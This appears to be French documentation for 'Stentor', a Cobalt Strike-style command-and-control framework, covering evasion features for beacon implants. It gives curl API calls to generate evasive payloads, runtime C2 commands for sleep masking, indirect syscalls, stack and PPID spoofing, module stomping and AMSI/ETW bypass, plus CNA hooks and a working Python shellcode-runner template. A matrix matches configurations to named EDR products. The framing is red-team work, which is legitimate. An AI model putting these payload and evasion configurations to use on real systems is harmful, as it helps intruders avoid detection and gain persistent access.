Kits d'évasion¶
Stentor fournit plus de 13 boutons d'évasion qui peuvent être configurés au moment de la génération de le payload et modifiés au moment de l'exécution via des tâches C2. Cette page couvre chaque option d'évasion, les cinq systèmes de kits personnalisés et une matrice de décision pour vous aider à choisir la bonne configuration pour votre environnement cible.
Aperçu¶
Les options d’évasion se répartissent en deux catégories :
- Les options de construction sont intégrées dans le binaire de le payload lors de la génération. Ils ne peuvent pas être modifiés après le déploiement (par exemple, obscurcissement Garble, date d'arrêt, fonction de sortie).
- Les options d'exécution sont configurées au moment de la génération mais peuvent être modifiées via les tâches C2 après l'exécution du beacon (par exemple, masquage du sommeil, méthode d'appel système, BeaconGate).
graph LR
A[Payload Generation<br/>API / CNA Hook] --> B[Build-Time Injection<br/>ldflags & build tags]
B --> C[Compiled Binary<br/>EXE / DLL / Shellcode]
C --> D[Runtime Evasion Config<br/>Modifiable via C2 Tasks]
D --> E[Beacon Execution<br/>Sleep Mask · Syscalls · BeaconGate]
style A fill:#6a1b9a,color:#fff
style B fill:#4a148c,color:#fff
style C fill:#311b92,color:#fff
style D fill:#1a237e,color:#fff
style E fill:#0d47a1,color:#fff Modifications d'exécution
Les options d'exécution sont stockées dans une structure EvasionConfig thread-safe protégée par un sync.RWMutex. Les modifications apportées via les tâches C2 prennent effet immédiatement lors du prochain cycle de beacon.
Référence des options d'évasion¶
Le tableau ci-dessous répertorie tous les champs liés à l'évasion disponibles dans la demande de génération de payload et la structure EvasionConfig de l'implant.
| Options | Type | Par défaut | Construction/Exécution | Description |
|---|---|---|---|---|
sleep_mask | bool | false | Durée d'exécution | Chiffrer la mémoire du beacon (.text, tas) pendant le sommeil |
sleep_method | chaîne | "direct" | Durée d'exécution | Technique de sommeil : "direct" ou "timer_queue" (style Ekko) |
heap_mask | bool | false | Durée d'exécution | Chiffrer les enregistrements de tas pendant le sommeil |
stack_mask | bool | false | Durée d'exécution | Chiffrer la pile de threads pendant le sommeil (expérimental) |
stack_spoof_depth | int | 0 | Durée d'exécution | Nombre maximal de trames de pile d'appels à usurper (0 = toutes les trames de beacon) |
syscall_method | chaîne | "none" | Durée d'exécution | Routage des appels API : "none", "direct" ou "indirect" |
ppid_target | chaîne | "" | Durée d'exécution | Nom du processus parent pour l'usurpation d'identité PPID (par exemple, "explorer.exe") |
module_stomp_dll | chaîne | "xpsservices.dll" | Durée d'exécution | DLL à piétiner pour le support MEM_IMAGE |
hwbp_enabled | bool | false | Durée d'exécution | Utiliser des points d'arrêt matériels pour le contournement AMSI/ETW (pas de correctifs mémoire) |
beacon_gate.enabled | bool | false | Durée d'exécution | Acheminer 25 API sensibles via des appels système |
beacon_gate.mask_on_call | bool | false | Durée d'exécution | Chiffrer la mémoire du beacon avant chaque appel d'API sécurisé |
exit_func | chaîne | "process" | Temps de construction | Comportement de sortie : "process" (ExitProcess) ou "thread" (ExitThread) |
obfuscate | bool | false | Temps de construction | Obfuscation Garble (hachage unique par build, symboles aléatoires) |
kill_date | chaîne | "" | Temps de construction | Expiration de la RFC3339 (le payload se termine automatiquement après cette date) |
Exemple d'API¶
Générez un payload avec le masquage du sommeil et les appels système indirects activés :
curl -s -X POST https://stentor.app/api/v1/payloads/generate \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"delivery_type": "exe",
"implant_variant": "standalone",
"listener_id": "LISTENER_UUID",
"evasion_options": {
"sleep_obfuscation": true
},
"obfuscate": true
}'
Combinaison d'options
L'objet evasion_options dans la requête de génération contrôle l'injection au moment de la construction des paramètres du masque de sommeil et des appels système. Les modifications d'exécution sont effectuées via des tâches C2 telles que config sleep_mask true et config syscall_method indirect après l'enregistrement du beacon.
Masquage du sommeil¶
Le masquage du sommeil crypte la mémoire du beacon pendant les intervalles de sommeil à l'aide de XOR avec une clé aléatoire, empêchant ainsi l'analyse des signatures en mémoire lorsque le beacon est inactive.
Ce qu'il fait¶
Lorsque le masquage du sommeil est activé, le beacon :
- Génère une clé XOR aléatoire avant chaque cycle de sommeil
- Chiffre la section
.text(code exécutable) afin que les signatures statiques échouent - Chiffre éventuellement les allocations de tas (masque de tas) pour masquer les chaînes en mémoire
- Chiffre éventuellement la pile de threads (masque de pile) pour empêcher la détection basée sur la pile
- Dort pendant l'intervalle configuré
- Décrypte tout et reprend l'exécution
Méthodes de sommeil¶
Utilise SleepEx directement. Le thread de beacon se met en veille pendant que les autres goroutines d'exécution Go (GC, sysmon) continuent de s'exécuter. C'est la méthode la plus sûre car elle respecte le planificateur Go.
Passez à la sécurité d'exécution
Les goroutines d'exécution Go (garbage collector, sysmon) planteront si elles tentent d'exécuter le code de section .text crypté. Le masque de sommeil utilise l’épinglage goroutine pour garantir que le masquage ne se produit que lorsqu’il est sécuritaire de le faire. La méthode direct est plus fiable avec le runtime Go.
Masquage des tas¶
Le masquage de tas chiffre les allocations de tas enregistrées pendant le sommeil. Cela empêche les analyseurs de mémoire EDR de trouver des chaînes de configuration, des URL C2 ou d'autres indicateurs dans la mémoire tas lorsque le beacon est inactive.
Masquage de pile¶
Le masquage de pile crypte la pile d'appels du thread pendant le sommeil. Ceci est expérimental et peut entraîner des problèmes de stabilité avec certaines configurations d'exécution Go.
Fonctionnalité expérimentale
Le masquage de pile modifie la mémoire de la pile de threads bruts. Bien qu'il soit testé dans des environnements de laboratoire, il peut provoquer des plantages dans les cas extrêmes où les goroutines d'exécution Go interagissent avec la pile pendant le sommeil. À utiliser avec prudence lors des missions de production.
Usurpation de pile¶
L'usurpation d'identité de pile fabrique des cadres de pile d'appels pour masquer les adresses de retour des beacons des outils de déplacement de pile (par exemple, Hunt-Sleeping-Beacons, Patriot, Moneta). Le spoofer :
- Capture le vrai RBP via
RtlCaptureContext - Parcourt la chaîne de pointeurs de trame RBP pour identifier les trames de beacon
- Remplace les adresses de retour des beacons par des adresses DLL système légitimes (
RtlUserThreadStart,BaseThreadInitThunk,NtWaitForSingleObject, etc.) - Construit une chaîne RBP synthétique reliant chaque image usurpée à la suivante
- Restaure les valeurs d'origine après le sommeil
Définissez stack_spoof_depth sur 0 pour usurper toutes les trames de beacon, ou sur un nombre spécifique pour limiter le nombre de trames remplacées.
Configuration d'exécution¶
# Set sleep interval to 30 seconds
sleep 30
# Enable sleep masking
config sleep_mask true
# Switch to timer queue method
config sleep_method timer_queue
# Enable heap masking
config heap_mask true
# Enable stack spoofing (all frames)
config stack_spoof_depth 0
Obfuscation des appels système¶
L'obfuscation Syscall contrôle la manière dont le beacon appelle les fonctions de l'API Windows. Trois modes sont disponibles :
Modes¶
Appels d’API Windows standard via kernel32.dll / ntdll.dll. Chaque appel passe par les exportations DLL en mode utilisateur où les hooks EDR sont installés.
Résout les numéros d'appel système au moment de l'exécution en parcourant le PEB InMemoryOrderModuleList pour trouver ntdll, puis exécute l'instruction syscall directement à partir de la mémoire du beacon. Contourne les hooks du mode utilisateur mais laisse un artefact « appel système provenant d'un non-ntdll » que l'analyse de la pile peut détecter.
Comparaison¶
| Mode | Contournement du crochet | Résistance de détection | Compatibilité | Recommandé pour |
|---|---|---|---|---|
none | Non | Faible | Toutes les fenêtres | Laboratoire / tests |
direct | Oui | Moyen | Windows 10+ | Missions standards |
indirect | Oui | Élevé | Windows 10+ | Environnements à forte densité EDR |
Bibliothèque Achéron
Les modes direct et indirect utilisent la bibliothèque achéron pour la résolution des numéros d'appel système via la marche PEB. La distinction réside dans l'endroit où l'instruction syscall s'exécute à partir de : la mémoire de beacon (directe) et ntdll.dll (indirect).
BalisePorte¶
BeaconGate intercepte 25 appels d'API Windows spécifiques et les achemine via la méthode d'appel système configurée (directe ou indirecte). Cela permet un contournement ciblé des hooks pour les API les plus couramment accrochées sans que chaque appel d'API passe par des appels système.
API fermées¶
Les 25 API sont organisées par catégorie :
| Catégorie | API |
|---|---|
| Mémoire | VirtualAlloc, VirtualAllocEx, VirtualProtect, VirtualProtectEx, VirtualFree, VirtualQuery |
| Thème | CreateThread, CreateRemoteThread, ResumeThread, OpenThread, ExitThread |
| Mémoire de processus | WriteProcessMemory, ReadProcessMemory |
| Poignée | OpenProcess, CloseHandle, DuplicateHandle |
| Contexte du fil | GetThreadContext, SetThreadContext |
| Mappage de fichiers | CreateFileMappingA, MapViewOfFile, UnmapViewOfFile |
| Réseau (WinINet) | InternetOpenA, InternetConnectA |
| Registre | NtSetValueKey, NtOpenKey |
Masque de garde¶
Lorsque mask_on_call est activé, BeaconGate crypte la mémoire du beacon avant chaque appel d'API bloqué et la déchiffre après. Cela permet une évasion maximale - la mémoire du beacon n'est lisible que pendant le bref instant d'exécution de l'API - mais entraîne une surcharge du processeur plus élevée.
Désactivation automatique du mode interactif
Lorsque l'intervalle de veille du beacon descend en dessous de 3 secondes (mode interactif), le masquage BeaconGate est automatiquement désactivé pour éviter les pics de CPU. Cela correspond au comportement de Cobalt Strike 4.12.
Configuration via C2¶
# Enable BeaconGate
beacon_gate enable
# Enable mask-on-call
beacon_gate mask_on_call true
# Disable a specific API from gating
beacon_gate api VirtualAlloc false
# Re-enable a specific API
beacon_gate api VirtualAlloc true
Comportement de repli¶
Si un appel système bloqué échoue (erreur NTSTATUS), BeaconGate revient automatiquement à l'appel API Win32 standard. Les événements de secours sont enregistrés pour la visibilité de l'opérateur.
Meilleure combinaison
BeaconGate est plus efficace en combinaison avec des appels système indirects. Activez les deux pour un contournement maximal du hook en mode utilisateur : config syscall_method indirect suivi de beacon_gate enable.
Kit d'artefacts¶
Le kit Artifact permet aux opérateurs de remplacer les binaires d'implant compilés de manière croisée par défaut par des binaires de chargement personnalisés. Trois types de modèles sont pris en charge :
| Modèle | Champ | Description |
|---|---|---|
| EXE personnalisé | custom_exe_template | Remplacez le binaire EXE par défaut par un chargeur personnalisé |
| DLL personnalisée | custom_dll_template | Remplacez le binaire DLL par défaut par un chargeur personnalisé |
| Service personnalisé | custom_svc_template | Remplacez le Service EXE par défaut par un chargeur personnalisé |
Comment ça marche¶
Lorsqu'un modèle personnalisé est fourni via l'API ou un hook CNA, le relais utilise directement le binaire fourni au lieu de compiler de manière croisée l'implant à partir de la source Go. Le relais intègre le shellcode du beacon à un décalage connu dans le binaire personnalisé.
Crochet de l'AIIC¶
Le hook EXECUTABLE_ARTIFACT_GENERATOR permet à un script CNA d'intercepter la génération de payload et de renvoyer un binaire personnalisé :
# artifact_kit.cna -- Artifact Kit hook
on EXECUTABLE_ARTIFACT_GENERATOR {
local('$filename $shellcode');
$filename = $1;
$shellcode = $2;
# Pack shellcode into custom loader
$loader = load_custom_loader($filename);
return embed_shellcode($loader, $shellcode);
}
Exemple d'API¶
Fournissez un modèle EXE personnalisé codé en base64 dans la demande de génération de payload :
# Base64-encode your custom loader
TEMPLATE=$(base64 -w0 custom_loader.exe)
curl -s -X POST https://stentor.app/api/v1/payloads/generate \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d "{
\"delivery_type\": \"exe\",
\"implant_variant\": \"standalone\",
\"listener_id\": \"LISTENER_UUID\",
\"custom_exe_template\": \"$TEMPLATE\"
}"
Exigences du modèle
Les modèles Artifact Kit doivent être des binaires PE autonomes qui savent comment charger le shellcode intégré. Le relais intègre le shellcode du beacon à un décalage connu dans le binaire. Testez minutieusement vos chargeurs personnalisés dans un laboratoire avant leur utilisation en production.
Cas d'utilisation¶
- Intégrez le shellcode du beacon dans un chargeur personnalisé avec une évasion supplémentaire (creux de processus, exécution de fibre, correctif ETW)
- Utiliser un binaire légitime signé comme support
- Implémenter des contrôles anti-sandbox personnalisés avant l'exécution du beacon
Trousse de ressources¶
Le kit de ressources permet aux opérateurs de personnaliser des modèles de payload non binaires : scripts et documents utilisés pour la fourniture de l'accès initial.
| Modèle | Champ | Description |
|---|---|---|
| ETS personnalisées | custom_hta_template | Modèle de page HTA personnalisé (remplace le conteneur mshta par défaut) |
| PS1 personnalisée | custom_ps1_template | Station de téléchargement PowerShell personnalisée (remplace le stager par défaut) |
| VBA personnalisé | custom_vba_template | Modèle de macro VBA personnalisé (remplace la macro DOCM/XLSM par défaut) |
| VBS personnalisé | custom_vbs_template | Modèle VBScript personnalisé (remplace VBS par défaut dans HTA) |
| Python personnalisé | custom_python_template | Exécuteur de shellcode Python personnalisé |
Crochets de l'AIIC¶
Plusieurs hooks sont disponibles pour différents types de ressources :
| Crochet | Objectif |
|---|---|
RESOURCE_GENERATOR | Génération de ressources générales (VBS, scripts) |
RESOURCE_GENERATOR_VBS | Génération spécifique à VBScript (repli lorsque RESOURCE_GENERATOR ne gère pas) |
HTA_APPEXE | Modèle de méthode exécutable HTA |
HTA_APPPS1 | Modèle de méthode HTA PowerShell |
PYTHON_COMPRESS | Modèle d'exécution de shellcode Python |
Variables du modèle¶
Le modèle Python reçoit les variables du modèle Go pour l'injection de shellcode :
| Variable | Description |
|---|---|
{{.ShellcodeHex}} | Octets de shellcode codés en hexadécimal |
{{.ShellcodeLen}} | Longueur du shellcode en octets |
Exemple de modèle Python personnalisé :
import ctypes
shellcode = bytes.fromhex("{{.ShellcodeHex}}")
buf = ctypes.create_string_buffer(shellcode)
func = ctypes.cast(buf, ctypes.CFUNCTYPE(ctypes.c_void_p))
func()
Chemin de personnalisation le plus simple
Les modèles du kit de ressources constituent le chemin de personnalisation le plus simple. Aucune compilation binaire n'est nécessaire : il suffit de modifier les modèles de script avec du contenu supplémentaire d'obscurcissement, de contrôles anti-sandbox ou d'ingénierie sociale.
Chargeur réfléchissant défini par l'utilisateur (UDRL)¶
UDRL remplace le chargeur réfléchissant par défaut par un binaire personnalisé qui gère le mappage PE en mémoire. Cela donne aux opérateurs un contrôle total sur la manière dont le payload du beacon est chargée en mémoire.
Comment ça marche¶
- L'opérateur fournit un binaire de chargeur personnalisé via
udrl_options.loader_binary(codé en base64) - Le binaire du chargeur personnalisé est ajouté à le payload du beacon lors de la génération
- Une fois injecté, le chargeur s'exécute en premier et mappe le beacon PE en mémoire
- Le beacon commence son exécution une fois que le chargeur a terminé le mappage PE
Configuration¶
# Base64-encode the UDRL binary
LOADER=$(base64 -w0 custom_reflective_loader.bin)
curl -s -X POST https://stentor.app/api/v1/payloads/generate \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d "{
\"delivery_type\": \"exe\",
\"implant_variant\": \"shellcode\",
\"listener_id\": \"LISTENER_UUID\",
\"udrl_options\": {
\"loader_binary\": \"$LOADER\"
}
}"
Options de clonage PE¶
Les payloads UDRL prennent en charge les options de clonage PE pour réduire le caractère unique de l'IOC :
| Options | Type | Description |
|---|---|---|
rich_header | chaîne | Octets d'en-tête Rich codés en hexadécimal clonés à partir d'un PE légitime |
image_size_x86 | int | Remplacer SizeOfImage pour les payloads x86 |
image_size_x64 | int | Remplacer SizeOfImage pour les payloads x64 |
stomp_pe | bool | Zéro en-têtes MZ/PE après chargement réfléchissant |
cleanup | bool | Mémoire du chargeur libre après l'initialisation |
smart_inject | bool | Intégrer des conseils de pointeur de fonction pour le chargeur (évite de marcher EAT) |
Mises en garde UDRL
- Les binaires UDRL doivent implémenter l'interface de chargement attendue. Testez minutieusement en laboratoire avant le déploiement en production.
- Le binaire du chargeur UDRL n'est pas stocké dans la base de données pour régénération. L'opérateur doit télécharger à nouveau le binaire du chargeur lors de la régénération d'un payload UDRL.
Kit masque de sommeil¶
Le kit Sleep Mask permet aux opérateurs de remplacer l’implémentation du masque de sommeil par défaut par un code source Go personnalisé.
Comment ça marche¶
- L'opérateur fournit un code source Go personnalisé qui implémente l'interface
SleepMaskKit - Au moment de la construction, la source personnalisée remplace le masque de sommeil par défaut via le beacon de construction
custom_sleepmask - L'implémentation personnalisée gère tout le cryptage/déchiffrement de la mémoire pendant le sommeil
Configuration¶
Le Kit Masque de Sommeil peut être fourni via trois mécanismes (par ordre de priorité) :
- Hook CNA (priorité la plus élevée) :
BEACON_SLEEP_MASKrenvoie la source Go personnalisée - Base de données de modèles de kit : téléchargez la source via l'API
kit_templates - Implémentation par défaut : masque de sommeil intégré si aucune source personnalisée n'est fournie
Crochets de l'AIIC¶
| Crochet | Objectif |
|---|---|
BEACON_SLEEP_MASK | Fournir le code source Go du masque de sommeil personnalisé |
SLEEP_MASK_KIT_BUILD | Modifier les indicateurs de build avant la compilation |
Exemple de crochet CNA :
on BEACON_SLEEP_MASK {
local('$variant $arch $options');
$variant = $1;
$arch = $2;
$options = $3;
# Return custom sleep mask source
return read_file("custom_sleep_mask.go");
}
on SLEEP_MASK_KIT_BUILD {
local('$filename $arch $default_flags');
$filename = $1;
$arch = $2;
$default_flags = $3;
# Add extra build tags
return "$default_flags -gcflags=-N";
}
Exemple d'API¶
Téléchargez un modèle de kit de masque de sommeil :
curl -s -X POST https://stentor.app/api/v1/kit-templates \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"type": "sleepmask",
"name": "sleep_mask_default",
"content_text": "package evasion\n\ntype CustomSleepMask struct{}\n\nfunc (c *CustomSleepMask) MaskAndSleep(interval int) { ... }"
}'
Exigence d'interface
La source du masque de sommeil personnalisé doit implémenter l’interface SleepMaskKit du package d’évasion. Le beacon de build custom_sleepmask exclut l'implémentation par défaut et inclut votre code personnalisé.
Chargement goutte à goutte¶
Le chargement goutte à goutte alloue la mémoire en petits morceaux de la taille d'une page avec des délais configurables entre les allocations, au lieu de faire une allocation importante signalée par les EDR.
Comment cela défait la détection¶
Les produits EDR mettent en corrélation les allocations de mémoire importantes (VirtualAlloc avec des tailles > 100 Ko) avec l'injection de shellcode. Le chargement goutte à goutte annule cette corrélation temporelle en :
- Allocation de mémoire par petits morceaux (par défaut : 4 096 octets / une page)
- Insertion d'un délai configurable entre chaque allocation (par défaut : 10 ms)
- Valider chaque page individuellement afin qu'aucune allocation ne semble suspecte
Deux modes¶
| Mode | Champ | Par défaut | Description |
|---|---|---|---|
| Staging | staging_enabled | false | Drip-loading pendant le chargement réfléchissant |
| Injection | inject_enabled | true | Chargement goutte à goutte pendant l'injection dans le processus |
Comportement par défaut
Le chargement goutte à goutte par injection est activé par défaut avec un délai de 10 ms. Le chargement goutte à goutte intermédiaire est désactivé par défaut car il ajoute de la latence au chargement initial du beacon.
Configuration¶
| Champ | Type | Par défaut | Description |
|---|---|---|---|
staging_enabled | bool | false | Activer le drip-loading pendant le chargement réfléchissant |
staging_delay | int | 0 | Millisecondes entre les morceaux pendant la préparation |
inject_enabled | bool | true | Activer le drip-loading pendant l'injection du processus |
inject_delay | int | 10 | Millisecondes entre les morceaux pendant l'injection |
Exemple d'API¶
curl -s -X POST https://stentor.app/api/v1/payloads/generate \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"delivery_type": "exe",
"implant_variant": "standalone",
"listener_id": "LISTENER_UUID",
"drip_options": {
"staging_enabled": true,
"staging_delay": 50,
"inject_enabled": true,
"inject_delay": 20
}
}'
Fonctionnalités d'évasion supplémentaires¶
Usurpation PPID¶
Définissez le processus parent pour les processus enfants générés. Les outils d'analyse de l'arborescence des processus affichent le parent usurpé au lieu du processus beacon.
| Champ | Valeur | Description |
|---|---|---|
ppid_target | "explorer.exe" | Définir le parent sur explorer.exe |
ppid_target | "svchost.exe" | Définir le parent sur svchost.exe |
ppid_target | "" | Désactiver l'usurpation d'identité PPID |
Remarque OPSEC
L'usurpation d'identité PPID est détectable via les événements ETW Microsoft-Windows-Kernel-Process. Le EventHeader.ProcessId révèle le véritable PID parent quelle que soit la valeur usurpée. Utilisez-le pour vous défendre contre les outils d'arborescence de processus, et non contre les SOC équipés d'ETW.
Module piétinant¶
Code réinjecté avec la section mémoire d'une DLL légitime pour le support MEM_IMAGE. Au lieu d'allouer MEM_PRIVATE mémoire (ce qui se démarque dans l'analyse de la mémoire), le code du beacon occupe une section qui semble appartenir à une DLL légitime.
| Champ | Valeur | Description |
|---|---|---|
module_stomp_dll | "xpsservices.dll" | Utilisez xpsservices.dll (~ 3 Mo de section .text) |
module_stomp_dll | "" | Désactiver le piétinement du module |
# Enable module stomping with a specific DLL
evasion module_stomp {"dll": "xpsservices.dll"}
# Disable module stomping
evasion module_stomp {"dll": ""}
Sélection de DLL
Choisissez une DLL avec une section .text suffisamment grande pour contenir le payload du beacon. xpsservices.dll est la valeur par défaut car elle comporte une section .text d'environ 3 Mo, suffisamment grande pour n'importe quelle payload de beacon.
Points d'arrêt matériels (HWBP)¶
Utilisez des registres de débogage (DR0-DR3) et un gestionnaire d'exceptions vectorielles (VEH) au lieu de correctifs de mémoire en ligne pour le contournement AMSI et ETW. Aucun octet modifié n'apparaît dans les régions de mémoire analysées.
| Champ | Valeur | Description |
|---|---|---|
hwbp_enabled | true | Activer le contournement AMSI/ETW du point d'arrêt matériel |
hwbp_enabled | false | Utiliser les correctifs en ligne traditionnels |
Le contournement AMSI/ETW traditionnel corrige les octets dans amsi.dll et ntdll.dll, détectés par les scanners d'intégrité de la mémoire. Les points d'arrêt matériels définissent des registres de débogage qui déclenchent un VEH avant l'exécution de la fonction, renvoyant un résultat inoffensif sans modifier aucun octet de code.
Garde-corps¶
Restreindre l’exécution de le payload aux systèmes correspondant à des modèles spécifiques. Les systèmes qui ne correspondent pas se terminent silencieusement : pas de crash, pas d'erreur, pas de beacon.
| Champ | Type | Exemple | Description |
|---|---|---|---|
ip | chaîne | "10.10.10.*" | Correspond à n'importe quelle adresse IP locale (caractère générique) |
hostname | chaîne | "DC*" | Faire correspondre le nom d'hôte (insensible à la casse, caractère générique) |
domain | chaîne | "corp.local" | Faire correspondre le domaine AD (Windows uniquement) |
username | chaîne | "admin*" | Correspondre au nom d'utilisateur actuel (insensible à la casse, caractère générique) |
curl -s -X POST https://stentor.app/api/v1/payloads/generate \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"delivery_type": "exe",
"implant_variant": "standalone",
"listener_id": "LISTENER_UUID",
"guardrail_config": {
"ip": "10.10.10.*",
"domain": "corp.local"
}
}'
Meilleures pratiques OPSEC
Installez toujours des garde-fous pour les engagements de production. Une payload sans garde-fous peut s’exécuter sur n’importe quel système, y compris les sandbox d’analystes et les réseaux non liés.
Obscurcissement des brouillages¶
Activez l'obscurcissement Garble au moment de la construction pour randomiser les noms de fonctions, supprimer les symboles de débogage et chiffrer les littéraux de chaîne. Chaque build produit un hachage binaire unique.
curl -s -X POST https://stentor.app/api/v1/payloads/generate \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"delivery_type": "exe",
"implant_variant": "standalone",
"listener_id": "LISTENER_UUID",
"obfuscate": true
}'
Garble est une option au moment de la construction. Une fois qu'un payload est générée sans obscurcissement, elle ne peut pas être ajoutée rétroactivement : régénérez le payload avec obfuscate: true.
Matrice de décision d’évasion¶
Utilisez le tableau suivant pour sélectionner la configuration d'évasion adaptée à votre environnement cible.
| Environnement cible | Configuration recommandée |
|---|---|
| Pas d'EDR (laboratoire) | Paramètres par défaut, aucune évasion nécessaire |
| AV de base uniquement | obfuscate: true, kill_date set, garde-corps configurés |
| EDR (CrowdStrike, SentinelOne, Defender pour Endpoint) | Appels système indirects + masque de sommeil + BeaconGate + usurpation d'identité PPID |
| EDR + analyse de la mémoire | Tout ci-dessus + masque de tas + usurpation de pile + piétinement de module |
| ** Hautement surveillé (surveillance SOC) ** | Tout ce qui précède + Kit d'artefacts personnalisé + UDRL + chargement goutte à goutte + HWBP |
Exemple : configuration d'évasion complète¶
Générez un payload maximale évasive pour un environnement fortement surveillé :
curl -s -X POST https://stentor.app/api/v1/payloads/generate \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"delivery_type": "exe",
"implant_variant": "standalone",
"listener_id": "LISTENER_UUID",
"obfuscate": true,
"kill_date": "2026-06-01T00:00:00Z",
"exit_func": "thread",
"evasion_options": {
"sleep_obfuscation": true
},
"drip_options": {
"staging_enabled": true,
"staging_delay": 50,
"inject_enabled": true,
"inject_delay": 20
},
"guardrail_config": {
"ip": "10.10.10.*",
"domain": "corp.local"
}
}'
Configurez ensuite l'évasion à l'exécution après l'enregistrement du beacon :
# Enable indirect syscalls
config syscall_method indirect
# Enable sleep masking with timer queue
config sleep_mask true
config sleep_method timer_queue
config heap_mask true
# Enable stack spoofing
config stack_spoof_depth 0
# Enable BeaconGate with mask-on-call
beacon_gate enable
beacon_gate mask_on_call true
# Set PPID spoofing
config ppid_target explorer.exe
# Enable hardware breakpoint AMSI/ETW bypass
config hwbp_enabled true
Approche en couches
Commencez par une évasion minimale et ajoutez des couches si nécessaire. L'évasion excessive augmente le risque de problèmes de stabilité (en particulier le masquage de pile et la mise en veille de la file d'attente du minuteur) et rend le débogage plus difficile pendant un engagement.